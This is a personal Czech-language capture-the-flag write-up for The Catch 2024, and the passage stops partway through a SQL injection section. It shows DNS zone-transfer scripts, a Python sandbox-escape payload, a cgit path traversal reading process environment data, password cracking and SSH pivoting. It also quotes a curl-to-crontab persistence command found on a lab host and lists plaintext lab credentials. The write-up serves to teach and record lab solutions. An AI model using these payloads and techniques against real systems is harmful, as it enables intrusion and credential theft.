The Catch 2024
Jedná se o výpis osobních poznámek, takže jsou zde obsaženy i pocity a frustrace ...
The Catch 2024 Writeup
VPN
“Fuu, takže po několika hodinách jsem přišel na problém s VPN, tato úloha byla pro většinu lidí brnkačka, pro mě to byl boj, který mi nedal spát.”
Kali:
1
2
network-manager-openvpn-gnome/now 1.11.0-1 amd64 [installed,local]
network-manager-openvpn/now 1.11.0-1 amd64 [installed,local]
ParrotOS:
1
2
ork-manager-openvpn-gnome/parrot6,now 1.10.2-2 amd64 [installed,automatic]
network-manager-openvpn/parrot6,now 1.10.2-2 amd64 [installed,automatic]
Problém s konfiguračním souborem *.ovpn
- ParrotOS i Kali linux používají VPN stejně, tedy přes balík
network-manager-openvpn
- Když použiješ GUI a importuješ
*.ovpn
soubor do NetworkManageru tak u ParrotOS to funguje na první dobrou … (jo a mimochodem, parrotOS nemá nainstalovanýopenvpn
balíček, vystačí si snetwork-manager-openvpn
) - U Kali to nefunguje, je to z důvodu novějšího
networkmanager-openvpn
balíčku a ten považuje v konfiguračním souboru*.ovpn
hodnotucipher AES-256-CBC
za zastaralou ! Nyní se používádata-ciphers AES-256-CBC
- to ale nepomůže, pokud to změníme v souboru před importem, neřešil jsem dále, ale tuto konfiguraci je potřeba přepsat v
/etc/NetworkManager/system-connections/ctfd_ovpn.nmconnection
a následně restartovat service NetworkManagersystemctl restart NetworkManager
nebosystemctl restart networking.service
(záleží co používáte za systém)Problém s DNS
- Problém nastává v momentě, kdy uživatel zjistí, že konfigurační soubor
*.ovpn
nefunguje, takže další co člověk zkusí je vytočit spojení přes terminál tedy.sudo openvpn --config ctfd_ovpn.ovpn
- jenže POZOR, jakmile se to použije takhle, tak nedojde k přepsání DNS záznamů
etc/resolv.conf
, protože ty u novějších distribucí spravuje buďNetworkManager
nebo v případě Ubuntusystemd-resolved
, tam jsem se to neopovažoval zkoušet. - Takže je potřeba přepsat
/etc/resolv.conf
ručně na správné záznamy, které zjistíme z výstupu připojeníopenvpn
z terminálu …
FLAG:
FLAG{Hgku-58OA-Hsrn-03Zr}
Request of cooperation
- Je potřeba převést MAC na IPv6 MAC:
00ca.7ad0.ea71
- IPv6:
fe80::2ca:7aff:fed0:ea71
- Na internetu jsem našel tento konvertor: MAC to IPv6 converter
- Něco by mělo být na portu
1701/TCP
FLAG:
FLAG{Sxwr-slvA-pBuT-CzyD}
Personal portal
- Bylo potřeba najít soubor
meeting2024-09-05.md
FLAG:
FLAG{YzfN-Z9RP-oc1P-auDo}
Who is Who
Jedná se o kvíz několika otázek:
- Czech CSIRT team with status certified by Trusted Introducer.
- CESNET-CERTS
- Czech CSIRT team celebrating 20th anniversary.
- CSIRT.CZ
- International organization of CSIRT teams.
- FIRST
- CSIRT team for the EU institutions and agencies.
- CERT-EU
- The European Union Agency for Cybersecurity.
- ENISA
- National CSIRT of the Czech Republic.
- CESNET-CERTS
- Community of European CSIRT teams. [NOT SURE]
- FIRST
- Database of European CSIRT teams. [NOT SURE]
- Trusted Introducer
- The first official CSIRT team in the Czech Republic. [NOT SURE]
- CESNET-CERTS
- Government CERT of the Czech Republic.
- GovCERT.CZ
FLAG:
FLAG{ADT0-cp6f-s071-pXsQ}
Skript na řešení Who is Who
- ten se bude určitě někdy hodit !
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
from pyquery import PyQuery
quiz = {}
i = 0
while True:
i += 1
print('Pass: ' + str(i))
data = requests.get('http://csirt-quiz.e-learning.tcc/')
pq = PyQuery(data.text)
question = pq('pre').text()
answers = pq('li input')
answers = [x.attrib['value'] for x in answers]
if not question in quiz:
quiz[question] = answers
else:
for answer in quiz[question].copy():
if not answer in answers:
quiz[question].remove(answer)
ok = True
for question in quiz:
if len(quiz[question]) != 1:
ok = False
break
if ok:
break
quiz = sorted(quiz.items())
for question in quiz:
print(question[0] + ' --> ' + question[1][0])
Leonidas
- ZIP soubor obsahoval privátní SSH klíč
- ten bude asi patřit
srv-test23.cypherfix.tcc
- Uživatel má divný soubor v home
.cron
- V
.ssh/authorized_keys
je uschovaný hexadecimální řetězec, který po dekódování říká:
1
curl -s -A 'Leonidas! I have prepared breakfast and ate heartily... For tonight, we dine in hell!! U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9' http://10.99.24.24:80/.cron -o .cron; crontab .cron 2> /dev/null;/bin/bash
- string
U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9
je base64 - Takže potřebujeme provést base64 decode a pak získáme flag.
FLAG:
FLAG{awxa-x19i-GBr7-wAIV}
Old Service
Hledáme starý ticketovací systém
doména na které je: supersecureservice.cypherfix.tcc
ale už je stará, resolvuje ji jen ns6-old.tcc
tzn. pro resolve potřebujeme: dig supersecureservice.cypherfix.tcc @10.99.24.20
- tím získáme dvě IP adresy Resolve:
1
2
3
4
5
6
7
8
;; ANSWER SECTION:
supersecureservice.cypherfix.tcc. 86400 IN TXT "Super secure service in testing mode, any records are hipsters friendly!"
supersecureservice.cypherfix.tcc. 86400 IN HINFO "TCC 686" "TCC-OS 20.20"
supersecureservice.cypherfix.tcc. 86400 IN SVCB 2 web3s-7468656361746368323032342.cypherfix.tcc. alpn="h2,h3,mandatory=alpn" port=8020
supersecureservice.cypherfix.tcc. 86400 IN SVCB 1 web3s-746865636174636832303234.cypherfix.tcc. alpn="h2,h3,mandatory=alpn" port=8020
supersecureservice.cypherfix.tcc. 86400 IN SVCB 4 web3s-7468656361746368323032343.cypherfix.tcc. alpn="h2,h3,mandatory=alpn" port=8020
supersecureservice.cypherfix.tcc. 86400 IN A 10.99.24.21
supersecureservice.cypherfix.tcc. 86400 IN AAAA 2001:db8:7cc::24:21
- ipv6
2001:db8:7cc::24:21
má otevřený port8020
<- na základě skenování NMAP - ipv4
10.99.24.21
má taky otevřený tento port Je potřeba upravit DNS záznamy, aby jsme splnily požadavky nginx proxy, konkrétně aby jsme měli správný Host Header použil jsem Burp a tam to přepsal, místo přepsání/etc/hosts
- Takže nyní ví NGINX proxy, kterou stránku nám zobrazit, když odesíláme
HTTP GET
požadavky se správnýmHost Header
- Zde se dozvídáme o
SVCB
, což je typ DNS záznamu, který poskytuje dodatečné informace o službách spojených s doménou, pomáhá tak uživatelům najít nejvhodnější server. - Takže se vrátíme k předchozímu dotazu
dig
a zkusíme to s tím, že chceme vrátit všechny záznamyANY
:dig supersecureservice.cypherfix.tcc @10.99.24.20 ANY
- Tím získáme tři SVCB záznamy
- Tyto záznamy mají určité priority, no zkrátka jsem zkusil první a trefil jej:
Flag je schovaný v záznamu : 10.99.24.21 web3s-746865636174636832303234.cypherfix.tcc
FLAG:
FLAG{yNx6-tH9y-hKtB-20k6}
DNS Madness
- Mělo by se jednat o něčem s DNS záznamy a AXFR leakem
- zbytek by měl být na
infra.tcc
Resolve domény infra.tcc
ANY:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 2a69c7ac28ca4e2a0100000067062b963903d27542141ccf (good)
;; QUESTION SECTION:
;infra.tcc. IN ANY
;; ANSWER SECTION:
infra.tcc. 19216 IN SOA jessiejames.infra.tcc. hostmaster.infra.tcc. 2024100701 604800 86400 2419200 86400
infra.tcc. 11194 IN NS jamison.infra.tcc.
infra.tcc. 11194 IN NS jameson.infra.tcc.
;; ADDITIONAL SECTION:
jameson.infra.tcc. 79298 IN A 10.99.24.29
jamison.infra.tcc. 79222 IN A 10.99.24.28
jameson.infra.tcc. 79298 IN AAAA 2001:db8:7cc::24:29
jamison.infra.tcc. 79222 IN AAAA 2001:db8:7cc::24:28
;; Query time: 19 msec
;; SERVER: 10.99.0.1#53(10.99.0.1) (TCP)
;; WHEN: Wed Oct 09 09:07:02 CEST 2024
;; MSG SIZE rcvd: 257
Tento úkol se opírá o RFC 9432,
- Zkrátka bylo potřeba:
dig @jessiejames.infra.tcc catalog.infra.tcc AXFR
- tím jsme získali několik domén které též umožňovali
AXFR
- bylo potřeba skriptíku, který se dotázal na všechny sub-zóny
bash skript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash
# Define the catalog and DNS servers to query
CATALOG_ZONE="catalog.infra.tcc"
DNS_SERVERS=("jessiejames.infra.tcc" "jamison.infra.tcc")
# Output file for results
OUTPUT_FILE="catalog_zone_axfr_results.txt"
> "$OUTPUT_FILE" # Clear previous results
# Query catalog zone for PTR records
echo "Fetching PTR records from catalog zone: $CATALOG_ZONE"
dig @"${DNS_SERVERS[0]}" "$CATALOG_ZONE" AXFR | grep "PTR" | awk '{print $5}' | sed 's/\.$//' > subzones.txt
# Loop through each subzone and perform AXFR
while read -r subzone; do
echo "Processing subzone: $subzone"
for server in "${DNS_SERVERS[@]}"; do
echo "Querying $subzone on DNS server: $server" | tee -a "$OUTPUT_FILE"
# Perform AXFR query on the subzone
dig @"$server" "$subzone" AXFR >> "$OUTPUT_FILE" 2>&1
# Check if any flags are found in the AXFR response
if grep -q "flag" "$OUTPUT_FILE"; then
echo "Potential flag found in $subzone on $server" | tee -a "$OUTPUT_FILE"
grep "flag" "$OUTPUT_FILE"
else
echo "No flag found in $subzone on $server" | tee -a "$OUTPUT_FILE"
fi
echo "----------------------------------" | tee -a "$OUTPUT_FILE"
done
done < subzones.txt
echo "Processing complete. Check $OUTPUT_FILE for results."
Z výstupu je podezřelý TXT záznam:
1
2
3
4
5
6
7
8
9
10
11
12
13
; <<>> DiG 9.18.28-1~deb12u2-Debian <<>> banneron.infra.tcc @jessiejames.infra.tcc AXFR
;; global options: +cmd
banneron.infra.tcc. 86400 IN SOA jessiejames.infra.tcc. hostmaster.infra.tcc. 2024100701 604800 86400 2419200 86400
banneron.infra.tcc. 86400 IN NS jameson.infra.tcc.
banneron.infra.tcc. 86400 IN NS jamison.infra.tcc.
40ae12928dbf450106d8097a7ec875ea.banneron.infra.tcc. 86400 IN AAAA 2001:db8:7cd::24:6577
40ae12928dbf450106d8097a7ec875ea.banneron.infra.tcc. 86400 IN TXT "RkxBR3tBdlhPLWlNazctM2JvSC1pWURwfQ=="
banneron.infra.tcc. 86400 IN SOA jessiejames.infra.tcc. hostmaster.infra.tcc. 2024100701 604800 86400 2419200 86400
;; Query time: 6 msec
;; SERVER: 2001:db8:7cc:0:6361:74:24:27#53(jessiejames.infra.tcc) (TCP)
;; WHEN: Fri Oct 18 09:26:11 CEST 2024
;; XFR size: 6 records (messages 1, bytes 324)
echo "RkxBR3tBdlhPLWlNazctM2JvSC1pWURwfQ==" | base64 -d
FLAG:FLAG{AvXO-iMk7-3boH-iYDp}
Johny’s notes
Johnyho stroj: johny-station.cypherfix.tcc
(10.99.24.32)
otevřené porty: 22, 80
(prázný default apache2)
http://johny-station.cypherfix.tcc/~johny/ <- zajímavé…
Johnyho appka notes.cypherfix.tcc
(10.99.24.33)
Přesměrovává na port 8080
otevřené porty: 80, 8080, 8081
API k flatnotes, které běží jako appka pro poznámky https://demo.flatnotes.io/docs#/default/get_config_api_config_get
- u Johnyho stroje je
apache2
který je dostupný nahttp://johny-station.cypherfix.tcc/~johny/
a tam je schovaná složka.git
- V tomto případě mi pomohl
ffuf
- V tomto případě mi pomohl
- takže pak pomohl
git-dumper
z pip repozitáře a stáhnout celý git hezky lokálně. - následně pak poslední commit odkazuje na změnu hesla a to je shodou okolností i heslo k uživateli
johny
pro SSH, takže uděláme tunel abychom se přihlásili nanotes.czpherfix.tcc
z johnyho stroje jenže shell je neinteraktivní, tak je potřeba-N
- konkr.:
ssh -N -D 8080 [email protected]
- pak už stačí
foxyproxy
doplněk do prohlížeče a nastavitSOCKS5
nalocalhost port 8080
a pak přihlásit do notes stejným heslem, uživatel byl tušímuser
FLAG:
FLAG{VfCK-Hlp4-cQl8-p0UM}
Admin John
Něco by melo byt na doméně: john.admins.cypherfix.tcc
[10.99.24.101]
Otevřené porty jsou : 80
a 22
a 23000
Je zde PHP,
- našel jsem
index.php
- pak se mi povedlo najít zajímavý
environment.php
-
v environment je user john a heslo
xxxxxxxxxxxxxxxxxxxx
- Takže jsem přidal tunel na svůj PC.
Do proxychains socks5 nepoužívat doménu ale ip adresu.
- na stroji
10.99.24.100
je smb a doménadomain:DD99676F131B
a Win 6.1 - je tam user:
backuper
- takže asi
eternalblue
? <– tak prý ne… -
zkusil jsem :
smbmap -H 10.99.24.100 -u backuper -p Bprn5ibLF4KNS4GR5dt4 -d DD99676F131B
- fungovalo:
smbclient //10.99.24.100/backup -U backuper%Bprn5ibLF4KNS4GR5dt4 -W DD99676F131B
Heslo z .bash_history
z backup ze samby z 10.99.24.100
Enterprise1512
ale pak bylo změněno…
takže pak zkusit přes Johna lousknout heslo co by mohlo být podobné:
john --mask=Enterprise?d?d?d?d id_rsa.hash
na Enterprise2215
…ROFL
hmm a user je [email protected]
je potřeba proxychains pro splnění authorized_keys
které říká, že spojení může být jen z 10.99.24.100
.
Jo a IP 78.128.214.45:40001
taky není cesta !!!
FLAG:
FLAG{sIej-5d9a-aIbh-v4qH}
Časově omezený reply z PHP webu:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Linux 451180a17ba0 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64 GNU/Linux
Disk usage
Filesystem Size Used Avail Use% Mounted on
overlay 98G 30G 65G 32% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/sda2 98G 30G 65G 32% /etc/hosts
tmpfs 3.9G 0 3.9G 0% /proc/acpi
tmpfs 3.9G 0 3.9G 0% /sys/firmware
Running Processes
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 3924 2452 ? Ss Oct03 0:00 /bin/bash /entrypoint.sh
root 62 0.0 0.2 36964 22248 ? S Oct03 5:05 /usr/bin/python3 /usr/bin/supervisord
root 63 0.0 0.0 2576 696 ? S Oct03 0:00 \_ /bin/sh /usr/sbin/apachectl -D FOREGROUND
root 68 0.0 0.1 201060 14444 ? S Oct03 0:42 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 391488 0.0 0.1 201788 14120 ? S 10:37 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392617 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392649 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392654 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392673 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392694 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392702 0.0 0.1 201788 14116 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392706 0.0 0.1 201788 14116 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392745 0.0 0.1 201788 14152 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392750 0.0 0.1 201788 14216 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
root 64 0.0 0.0 3976 2136 ? S Oct03 0:05 \_ cron -f
root 395170 0.0 0.0 5868 2676 ? S 11:30 0:00 | \_ CRON -f
root 395173 0.0 0.0 2576 916 ? Ss 11:30 0:00 | \_ /bin/sh -c read -t 2.0; /bin/bash /opt/client/backup.sh
root 395175 0.0 0.0 3924 2920 ? S 11:30 0:00 | \_ /bin/bash /opt/client/backup.sh
root 395180 0.0 0.0 21228 3036 ? R 11:30 0:00 | \_ smbclient -U backuper%Bprn5ibLF4KNS4GR5dt4 //10.99.24.100/backup -c put /backup/backup-1728559801.tgz backup-home.tgz
root 395181 0.0 0.0 8100 4000 ? R 11:30 0:00 | \_ ps faxu
root 65 0.0 0.0 15432 5292 ? S Oct03 0:29 \_ sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
john@tc+ 67 0.0 0.0 2464 808 ? S Oct03 0:00 \_ sshpass -p xxxxxxxxxxxxxxxxxxxx ssh -o StrictHostKeyChecking=no -N -D 0.0.0.0:23000 [email protected]
john@tc+ 69 0.1 0.4 39344 32504 pts/0 Ss+ Oct03 16:26 \_ ssh -o StrictHostKeyChecking=no -N -D 0.0.0.0:23000 [email protected]
Snake game
x-x-x-x
Ověřovací program
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string
print('Hello, I can only speak Python, show me your code.')
code = input('Enter your code : ')
code = ''.join([c for c in code if c in string.printable])
for keyword in ['eval', 'exec', 'import', 'open', 'system',
'os', 'builtins', "'", '""', '+', '*' ]:
if keyword in code:
print('This is not allowed:', keyword)
break
else:
try:
print(eval(code, {'__builtins__': {'str': str}}))
except Exception as e:
print(f'I\'m confused - {e}')
Hint: spuštěného souboru Lze vyčíst ze serveru přes
/proc/self/cmdline
jméno spuštěného souboru i s parametry, pak zjistíme ibin/jail.py
Výsledná cesta:
- může být pokaždé jiná, jde o to, že se využilo
_io.IOBase
.__subclasses__()
vypisuje možné třídy, které lze použít.
{}.__class__.__mro__[1].__subclasses__()[114].__subclasses__()[1].__subclasses__()[0]("/flag.txt").read()
FLAG:
FLAG{lY4D-GJaQ-VUks-PNQd}
Incident reporting
Pravděpodobně útočník 2001:db8:7cc::a1:210
tahá data z 2001:db8:7cc::acdc:24:a160
Lépe rozdělit na dvě části:
Brute-force attack
- útočník:
2001:db8:7cc::a1:210
-
oběť:
2001:db8:7cc::acdc:24:beef
- začátek ping:
2024-09-26T08:55:20.219234Z
2024-09-26 08:55:20
- začátek POST:
2024-09-26T08:55:20.379553Z
- konec:
2024-09-26T08:55:43.332428Z
2024-09-26 08:55:43
- počet požadavků:
1225 HTTP POST
Incident ID: MS80OiBGTEFHe2xFOA==
=> 1/4: FLAG{lE8
Uživatel se přihlásil jako admin
a použil heslo asterix
- to bylo ale neúspěšné .. jiné bylo autumn
a to bylo správně
Web service enumeration
HTTP komunikace
- útočník:
2001:db8:7cc::a1:210
se dotazuje na port 80 - oběť:
2001:db8:7cc::acdc:24:a160
-
počet dotazů je: 42259
- útočník ale objevil jen 2 URI:
/TEMP/order.md
/index.html
na doméněnetforce.tcc
- začátek:
2024-09-26T08:48:18.629555Z
2024-09-26 08:48:18
- konec:
2024-09-26T08:50:03.443165Z
2024-09-26 08:49:45
Incident ID:NC80OiBkNWtNfQ==
=>4/4: d5kM}
BRIM dotaz: id.orig_h==2001:db8:7cc::a1:210 id.resp_h==2001:db8:7cc::acdc:24:a160 method=="GET"
Scanning
- Source:
2001:db8:7cc::a1:42
- Dest:
ff02:0:0:1:ff24::/104
-
Dest OPRAVA:
2001:db8:7cc::acdc:24:0/112
- Porty které byli skenované:
1 2 3 4 5 6 7 8
id.orig_h == 2001:db8:7cc::a1:42 | cut id.resp_p | count() by id.resp_p | sort -r 80 22 53 8080 443 21 22
- port 135 a 136 tam nepatří … pravděpodobně to Brim špatně interpretuje
Scanning několika portů bez 135 a 136
BRIM:
id.orig_h==2001:db8:7cc::a1:42 and id.resp_p!=135 and id.resp_p !=136 | sort ts
- počet záznamů
157
- začátek:
2024-09-26T09:17:08.768528Z
- konec:
2024-09-26T09:17:09.875883Z
Scanning několika portů s 135 a 136
BRIM: id.orig_h==2001:db8:7cc::a1:42 | sort ts -r
- počet záznamů
65 709
(brim zobrazuje špatně .. správně je 20-99) - začátek:
2024-09-26T08:44:29.817188Z
- konec:
2024-09-26T09:17:09.875883Z
Incident ID: My80OiAtYTBRZi0=
=> 3/4: -a0Qf-
DDoS
dle velikosti přenesených dat co do počtu, pouze via TCP
Source : 2001:db8:7cc::a1:d055
Destination: 2001:db8:7cc::acdc:24:911
Časové okno
Od: 2024-09-26T08:58:44.817248Z
Do: 2024-09-26T09:46:45.027333Z
počet: 31 217
včetně http
(těch tam je pár)
Incident ID: Mi80OiBzLVVrb3g=
FLAG: 1/4: FLAG{lE8
FLAG: 2/4: s-Ukox
FLAG: 3/4: -a0Qf-
FLAG: 4/4: d5kM}
FLAG:
FLAG{lE8s-Ukox-a0Qf-d5kM}
Admin Johnson
Admin Johnson
- používá stále stejná hesla …
- doména: johnson-backup.cypherfix.tcc [10.99.24.30]
Otevřené porty:
- 80 - Apache2
- 199 - smux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_enum) >> exploit
[+] 10.99.24.30, Connected.
[*] System information:
Host IP : 10.99.24.30
Hostname : -
Description : -
Contact : -
Location : -
Uptime snmp : -
Uptime system : -
System date : -
[*] Processes:
Id Status Name Path Parameters
1 runnable supervisord /usr/bin/python3 /usr/bin/supervisord
7 runnable apache2ctl /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
8 runnable cron /usr/sbin/cron -f
9 running snmpd /usr/sbin/snmpd -f
12 runnable cron /usr/sbin/CRON -f
16 runnable sh /bin/sh -c /etc/scripts/restic.sh >> /var/www/html/3cde480a8572719b9b33acb1257c6361/restic.err.log 2>&1
20 runnable restic.sh /bin/bash /etc/scripts/restic.sh
28 runnable apache2 /usr/sbin/apache2 -D FOREGROUND
9331 runnable apache2 /usr/sbin/apache2 -D FOREGROUND
9359 runnable apache2 /usr/sbin/apache2 -D FOREGROUND
9387 runnable apache2 /usr/sbin/apache2 -D FOREGROUND
9920 runnable sleep sleep 86400
- z toho je patrné že je něco na
http://johnson-backup.cypherfix.tcc/3cde480a8572719b9b33acb1257c6361/restic.err.log
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
restic -r rest:http://johnson:[email protected]:8000/test check
using temporary cache in /tmp/restic-check-cache-1940938965
create exclusive lock for repository
Save(<lock/340d752ce5>) returned error, retrying after 552.330144ms: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 1.080381816s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 1.31013006s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 1.582392691s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 2.340488664s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 4.506218855s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 3.221479586s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 5.608623477s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 7.649837917s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 15.394871241s: server response unexpected: 500 Internal Server Error (500)
server response unexpected: 500 Internal Server Error (500)
github.com/restic/restic/internal/backend/rest.(*Backend).Save
github.com/restic/restic/internal/backend/rest/rest.go:167
github.com/restic/restic/internal/backend.(*RetryBackend).Save.func1
github.com/restic/restic/internal/backend/backend_retry.go:66
github.com/cenkalti/backoff.RetryNotifyWithTimer
github.com/cenkalti/backoff/retry.go:55
github.com/cenkalti/backoff.RetryNotify
github.com/cenkalti/backoff/retry.go:34
github.com/restic/restic/internal/backend.(*RetryBackend).retry
github.com/restic/restic/internal/backend/backend_retry.go:46
github.com/restic/restic/internal/backend.(*RetryBackend).Save
github.com/restic/restic/internal/backend/backend_retry.go:60
github.com/restic/restic/internal/cache.(*Backend).Save
github.com/restic/restic/internal/cache/backend.go:59
github.com/restic/restic/internal/repository.(*Repository).SaveUnpacked
github.com/restic/restic/internal/repository/repository.go:488
github.com/restic/restic/internal/restic.SaveJSONUnpacked
github.com/restic/restic/internal/restic/json.go:31
github.com/restic/restic/internal/restic.(*Lock).createLock
github.com/restic/restic/internal/restic/lock.go:161
github.com/restic/restic/internal/restic.newLock
github.com/restic/restic/internal/restic/lock.go:105
github.com/restic/restic/internal/restic.NewExclusiveLock
github.com/restic/restic/internal/restic/lock.go:73
main.lockRepository
github.com/restic/restic/cmd/restic/lock.go:42
main.lockRepoExclusive
github.com/restic/restic/cmd/restic/lock.go:27
main.runCheck
github.com/restic/restic/cmd/restic/cmd_check.go:212
main.glob..func5
github.com/restic/restic/cmd/restic/cmd_check.go:37
github.com/spf13/cobra.(*Command).execute
github.com/spf13/cobra/command.go:916
github.com/spf13/cobra.(*Command).ExecuteC
github.com/spf13/cobra/command.go:1044
github.com/spf13/cobra.(*Command).Execute
github.com/spf13/cobra/command.go:968
main.main
github.com/restic/restic/cmd/restic/main.go:98
runtime.main
runtime/proc.go:250
runtime.goexit
runtime/asm_amd64.s:1594
unable to create lock in backend
používat --no-lock
možná id: 84e8d815
zjištěno přes snapshots
http://johnson-backup.cypherfix.tcc/
= = 10.99.24.30
finální command:
restic -r rest:http://johnson:[email protected]:8000/test restore 84e8d815 --target . --no-lock
FLAG:
FLAG{OItn-zKZW-cht7-RNH4}
Chapter X
- všechno to běží v kubernetes, je tam ještě nějaká NGINX kubernetes proxy, takže zde máme vícero subdomén pod
lore.tcc
Doména: http://intro.lore.tcc/
IP: 10.99.24.82
- Obsahuje několik odkazů
1. Travel
URL: http://cgit.lore.tcc/
IP: 10.99.24.82
cgit: http://cgit.lore.tcc/cgit.cgi
cgit má zranitelnost path traversal, v msfconsole
[!info] Tady mi pomoho
msf > setg Proxies http:127.0.0.1:8080
kdy jsem nastavil u konkr. exploitucgit
nastavení na BurpSuite proxy abych pochopil, jak exploit funguje …
a nebo přes burp viz. screen:
Environmental variables:
Pokud chci zobrazit environmental variables a mám jen path traversal útok, můžu se mrknout do/proc/self/environ
environmental variables 10.99.24.82
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
FLAG=FLAG{FiqE-rPQL-pUV4-daQt}
HTTP_HOST=cgit.lore.tcc
HTTP_X_REQUEST_ID=6919340ef818b282c7d85350a011bb0a
HTTP_X_REAL_IP=10.200.0.11
HTTP_X_FORWARDED_FOR=10.200.0.11
HTTP_X_FORWARDED_HOST=cgit.lore.tcc
HTTP_X_FORWARDED_PORT=80
HTTP_X_FORWARDED_PROTO=http
HTTP_X_FORWARDED_SCHEME=http
HTTP_X_SCHEME=http
HTTP_USER_AGENT=PostmanRuntime/7.42.0
HTTP_ACCEPT=*/*
HTTP_POSTMAN_TOKEN=40c6ebe7-7f81-4daa-96a1-ee8a8cc83dd0
HTTP_ACCEPT_ENCODING=gzip, deflate, br
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=
Apache/2.4.61 (Debian) Server at cgit.lore.tcc Port 80
SERVER_SOFTWARE=Apache/2.4.61 (Debian)
SERVER_NAME=cgit.lore.tcc
SERVER_ADDR=192.168.73.122
SERVER_PORT=80
REMOTE_ADDR=192.168.73.115
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=
CONTEXT_DOCUMENT_ROOT=/var/www/html
SERVER_ADMIN=[no address given]
SCRIPT_FILENAME=/var/www/html/cgit.cgi
REMOTE_PORT=58826
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=path=../../../../../../../../../..//proc/self/environ
REQUEST_URI=/cgit.cgi/sam-operator/objects/?path=../../../../../../../../../..//proc/self/environ
SCRIPT_NAME=/cgit.cgi
PATH_INFO=/sam-operator/objects/
PATH_TRANSLATED=/var/www/html/sam-operator/objects/
/etc/hosts
192.168.73.122 cgit-6b4b6b5496-kvf86
Git repozitář
web
- v tomto git repozitáři je user
samop
- Běží zde kontejner: Shell-operator
/home/parrot/Documents/TheCatch24/Chapter1/git_dir/sam-operator/docker/operator/Dockerfile
operator
- user:
samweb
expose port 8010
sam-operator docker-compose
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
version: '3.1'
services:
operator:
build:
context: .
dockerfile: docker/operator/Dockerfile
container_name: operator
restart: always
web:
build:
context: .
dockerfile: docker/web/Dockerfile
container_name: web
environment:
SECRET_KEY: ${SECRET_KEY:-a_test_secret}
ports:
- "8010:8010"
restart: always
2. Origins pimpam
- Doména:
http://pimpam.lore.tcc
- IP:
10.99.24.82
- Služba:
phpIPAM v1.2
- Hostname:
pimpam-9bd6b669c-f5hff
- zjištěno z databáze
SESSION_VARIABLES.csv
- zjištěno z databáze
- Apache verze:
2.4.10
- zjištěno z
http://pimpam.lore.tcc/app/subnets/scan/
- zjištěno z
Při /?page=request_ip
se zobrazí chyba:
Fatal error: Call to a member function show() on null in /var/www/html/functions/classes/class.Tools.php on line 1292
Je zde SQL zranitelnost show-logs.php SQLi <-
HTTP POST originál
- tady je problém s parametrem
n'\"ext
, kdy to má býtnext
- nefunkční:
1
